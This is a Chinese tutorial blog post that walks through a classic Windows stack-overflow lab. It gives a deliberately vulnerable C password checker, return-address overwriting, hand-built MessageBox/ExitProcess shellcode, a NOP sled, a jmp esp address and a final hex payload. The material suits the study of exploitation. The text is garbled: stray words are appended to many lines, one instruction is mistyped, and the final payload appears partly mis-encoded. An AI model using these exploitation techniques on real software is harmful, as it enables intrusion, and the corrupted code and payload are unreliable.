例子來自《0day 安全:軟件漏洞分析技術》css
棧溢出
程序會讀取目錄下的 password.txt 而後複製到 buffer 中,然而 buffer 只有 8 字節,password 是 1024 字節的web
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
password.txt 的內容:shell
提早用 IDA 看到 verify_password 函數的地址是 0x401020windows
在 OD 中給 verify_password 返回的時候下個斷點,這樣能夠恰好在棧溢出發生以前給斷下來安全
那,修改 password.txt,把返回地址改爲 Congratulation 那個分支的地址的話是能夠成功的微信
接下來試着用它彈一個窗,要對源碼作一下改變以便可以調用 Messagebox 函數,所以導入了 user32.dll編輯器
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
使用 Dependency walker 查看一下 user32.dll 的基址 0x77d10000 與 messagebox 的偏移 0x407ea函數
加起來就是 0x77D507EAui
編寫 shellcode
找到了地址以後就能夠構造 shellcode 了url
機器碼 |
彙編指令 |
註釋 |
33DB |
XOR EBX,EBX |
異或置零 |
53 |
PUSH EBX |
做爲字符串結束的截斷符號 0 |
684841434B |
PUSH 4B434148 |
把 'HACK' 字符串進棧 |
8BC4 |
MOV EAX,ESP |
字符串指針,方便後面 push 進去 |
53 |
PUSH EBX |
第四個參數 0 |
50 |
PUSH EAX |
第三個參數 標題 |
50 |
PUSH EAX |
第二個參數 內容 |
53 |
PUSH EBX |
第一個參數 0 |
B8EA07D577 |
MOV EAX, 77D507EA |
把 Messagebox 的函數地址放到 EAX |
FFD0 |
CALL EAX |
調用 Messagebox |
33DB53684841434B8BC453505053B8EA07D577FFD0
而後能夠填入一堆 90(也就是 NOP)
最後在 ret 的那個地方填入 0012FAF0(也就是棧頂),最終是這樣的
jmp esp
直接填入棧頂是須要咱們本身去找棧頂的地址的,能夠用 jmp esp 讓他本身跳轉到 esp 去執行 shellcode
能夠用 OllyUni.dll 這個插件
https://bbs.pediy.com/thread-65240.htm
(OD 插件有上限,若是放進去以後 OD 打不開了能夠先拿出幾個插件來)
先用 0x7FFA4512 試試,,使用 jmp esp 的原理是在 ret 的時候是 pop eip 的,esp 會 +4,指向返回地址下面,因此只要返回地址後面跟着 shellcode 就好了,咱們還但願他可以正常的退出,給它加上一個 ExitProcess 函數
用 Dependency walker 去 kernel32(0x7c800000)找一下 ExitProcess(0x00001cafa)獲得退出函數地址 0x7C81CAFA
機器碼 |
彙編 |
註釋 |
53 |
PUSH BEX |
exit (0),這個是參數 0 |
B8FACA817C |
MOV EAX,0x7C81CAFA |
地址放到 eax |
FFD0 |
CALL EAX |
調用函數 |
909090909090909090909090909090909090909090909090909090909090909090909090909090909099909090909090909090901245FA7F33DB53684841434B8BC453505053B8EA07D577FFD035334238464143413831374346464430
本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。